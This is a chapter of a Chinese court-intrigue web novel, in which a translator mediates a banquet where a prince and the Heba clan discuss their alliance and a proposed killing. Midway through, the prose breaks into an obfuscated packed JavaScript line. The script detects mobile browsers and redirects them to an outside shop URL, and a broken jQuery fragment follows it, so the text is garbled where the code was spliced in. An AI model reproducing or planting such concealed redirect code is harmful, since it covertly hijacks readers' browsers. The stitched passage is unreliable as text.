被侍女引着,踏入宴会厅之前,李双凌就听到了隐隐的琴声。
像琵琶,音色却不似琵琶般婉转,而是清脆冷冽,有如短兵相接时的脆响,铿锵昂扬。
李双凌驻足在殿侧的门槛外细听着,身边黎琰的声音凉凉响起,“这音乐,和长槐的比,何如?”
“不如我们雅正,却别有一番风味。”李双凌淡淡道,“这是橡罗的乐器,故里思琴。听说,异邦的行者常常拿着这琴四处流浪,奏乐放歌……”
二人说着,目光都投向殿内奏琴之人。
一把马蹄形的弦琴旁,有橡罗族少年男子徐徐拨弦,铮铮弦音便从他的指间流淌而出。
不是乐人的华服,而是一身轻简的便装,白色的灯笼袖上衫,深青色的马甲杀出漂亮的腰线,黑色马裤扎在棕色长靴里,收束着一双又直又长、线条延伸的腿。
男子不断拨弦,动作之间,袖管中小臂不时闪露,被阳光亲吻过的蜜色肌肤,杂着几条青筋。
这样的手臂,不应该长在乐人身上,倒应该长在长年行军之人身上。
李双凌回头看看黎琰,冷笑道:“怎么不早告诉我,今日要给你做翻译?怕我拒绝?”
黎琰凉凉笑道:“为什么要拒绝?”
“殿下的秘密太多,我怎么敢……”
“哦?”黎琰长眉一挑,抓住李双凌的手,低声道,“可惜你早就上了我的贼船了……嗯……还是你自己主动要上来的。”
李双凌扯了扯嘴角,露出一个又干又瘪、毫无笑意的笑容。
这边动静落在那乐人耳中,他抬头看过来,眼睛虚了虚。
棱角分明的脸,纤薄的唇角。长睫下是梦幻般的绿,如同流光溢彩的琥珀。
一张与长槐人截然不同的面孔,却有一种别样的美,不属于长槐这片历史悠久的大地,而是来自北方天寒地冻的高原之上。安静的时候,像雪凝冰雕出的雕塑,而动起来时,那长睫下难掩的光彩,又像极了一头野性难驯的虎。
李双凌看着他的眼神,捉摸不清是什么意思,却也没有细想——那毕竟与她无关,她只是做一个翻译。
心中长出了一口气,真奇怪,黎琰居然这么信任她?愿意让她做翻译?
不过也是,眼下出连明珠已死,整个长槐境内,还有谁能通晓这语言呢……
正想着,殿外又走进来几名熊罴般的大汉,都披着粗布罩袍,却难以掩盖魁梧的身形。为首的更是身材颀伟,眉目中自带一种不怒自威的气场,想必就是橡罗将军贺跋盛。
这几人大步流星正往里走,冷不防却被一人笑意盈盈拦住了去路。
“今日宴请贺跋老将军府上,可惜正殿位置狭小,恐怕坐不下这么多人……各位请移步便殿,已经为诸位备好了宴席……”
李双凌歪着头看向说话的黎云深,疑惑地眨眨眼睛——他们能听懂长槐话?
果不其然,几名大汉你看看我,我看看你,嘟囔道:“说的什么东西?听不懂!”
“出连明珠呢?”
“对呀,她怎么不在……”
而这边,李双凌走了过去。
“各位,出连明珠今日不在,由我来为各位做翻译。”
众人面上都露出些惊诧——这年头通两国语言的人太少,肃王府上真是能人众多,翻译说换就换。
李双凌将黎云深的话复述给他们,几个人立刻面露不悦,皱着眉头道:“凭什么不让我们一起!”
“就是!我们橡罗可不像你们长槐,讲什么等级尊卑,凭什么你们在大殿,我们就只能去便殿吃饭?”
几人越说越愤愤不平,李双凌偏过头,正要向黎云深转达之时,余光却见那弹琴乐人的目光往这边盯着,眼神中寒芒一闪。
贺跋盛拦下身后几人,道:“无妨,入乡随俗,你们且去便殿候着。”
“可是,贺跋将军……”
“没什么可是。肃王是我们的盟友,有什么不放心的!”
贺跋盛语气斩钉截铁,看得出来,身后几人也都非常听他的话,都不再反驳,而是顺从地跟着侍女们离开正殿,只是眼神中都有些紧张和担忧。
侍女引着贺跋盛入席,他头发花白,而脚下的步伐,稳重中却又带着不符合年龄的矫健。
黎琰也走了过来,李双凌心不在焉地翻译着他们的寒暄,正无聊着,却只听一阵又轻又快的跑步声,随后听见一声稚嫩的呼唤,“哥哥!”
贺跋昀?
李双凌偷偷偏过头去,看见贺跋昀正扑在那奏琴的男子怀里,先是跟兄长撒了撒娇,随后环顾大殿,疑惑地问:“几位叔叔怎么都没来?”
她的兄长俯下身,示意她低声些,随后二人说了些什么,李双凌这里便听不清了。
她心中了然,怪不得这男子一看就不像乐人而像武人,原来也是贺跋家的人。
此时贺跋盛也注意到贺跋昀的到来,招手让自己的两个孩子过来,向黎琰问好。经二人自己一介绍,李双凌才知道,这男子名叫贺跋昭,年仅二十岁,却已经上过两回战场;而贺跋昀今年刚满七岁,是贺跋盛最疼爱的小女儿。
又是一番寒暄,贺跋盛无意瞥见地上一串湿脚印,这才注意到女儿湿了的鞋底,哎呀了一声,道:“鞋子怎么湿了?”
这句话李双凌没翻译,而是一脸微笑地看着贺跋昀,等待她的回答。
贺跋昀抬起眼皮偷瞄着李双凌的表情,怔了怔,抖着嘴巴道:“我……我……”
“罢。”贺跋盛无奈地摇摇头,眼神宠溺,“一看你这个样子,就知道你又是去调皮了。这是在长槐,不是咱们自家……阿昭,你好歹也看着点你妹妹。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918689|213402||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他说完对黎琰一欠身,“见笑了。”
众人各自落座,席间推杯换盏,也终于说到了正题。此次宴席是一场答谢宴会,席间他们的对话,也都印证了李双凌的猜测——黎琰以万贯家财为交换,扶持贺跋家夺位,而他自己的夺位之路,则有了橡罗一族的助力。
真是老狐狸呀……
陛下今年正值壮年,这黎琰,哪里就这么急着给自己铺路?
正想着,贺跋盛却面露难色,起身道:“我还有一个不情之请,还需要拜托殿下……”
黎琰淡淡一笑,道:“我黎琰与你贺跋家早已同气连枝,没有什么不情之请这一说,但说无妨。”
贺跋盛面上愁云惨淡,道:“独孤家不知是不是听得什么风声,前几日加重了内宫中的布防。眼下恐怕还需要殿下帮个忙,让我重新取得独孤易的信任。”
黎琰沉思片刻,道:“你想怎么做?”
“不如打开一条商道,算在我父亲的功劳里,这样独孤老头一高兴,自然就觉得之前是误会了父亲了。”贺跋昀高声插话。
贺跋盛立刻怒目回头,大掌一挥,作势要拍贺跋昀的样子,却没有真的拍下去,只是装装样子。贺跋昀虽然没有真的害怕,也只好不服气地瘪了嘴。
看来这贺跋昀的确是家里娇惯坏了的孩子,李双凌摇摇头,有些好笑。
黎琰见一夜冷着脸的李双凌此时露出一丝笑意,好奇道:“怎么了?”
李双凌将贺跋昀的话翻译给黎琰,边说边忍不住笑了笑。
黎琰知道她在笑什么,自己也笑了笑——贺跋昀童言无忌,想的办法看似有道理,可实际上,既然独孤易已经开始对贺跋家有所怀疑,那此时再打开商道,大张旗鼓地宣示两国有关系,岂不是此地无银三百两了么?
他一笑之余,看李双凌的目光中却又多了些什么——这女子果然不傻。
李双凌也看得出来他在想什么,有些不屑又有些无奈地撇过头去——他觉得她是傻子么?这么简单的道理都搞不明白?
此时贺跋盛道:“我已想到一计,只是不知,殿下意下如何。”
“哦?老将军但说无妨。”黎琰挑挑眉。
“不知出连娘子,现在何处?依据长槐礼制,或许是回了橡罗娘家省亲吧?”贺跋盛抬起头,冷冷一笑,“既然独孤家已经有所怀疑,不如用出连娘子的头颅,向独孤易投诚!”
此言一出,连李双凌也一惊。
这婚礼风风火火,送聘礼必然也是声势浩大,独孤家也必然会知晓,再加上聘礼丢失事件,想必并不单会想到贺跋家头上,可能对各个大臣都有所猜忌。而此时,杀一个长槐势力的人,是贺跋家展示忠诚最好的方式。而出连明珠,此时又成了那个最好的替死鬼。
她正向黎琰翻译着,却听贺跋昀喝道:“不可!”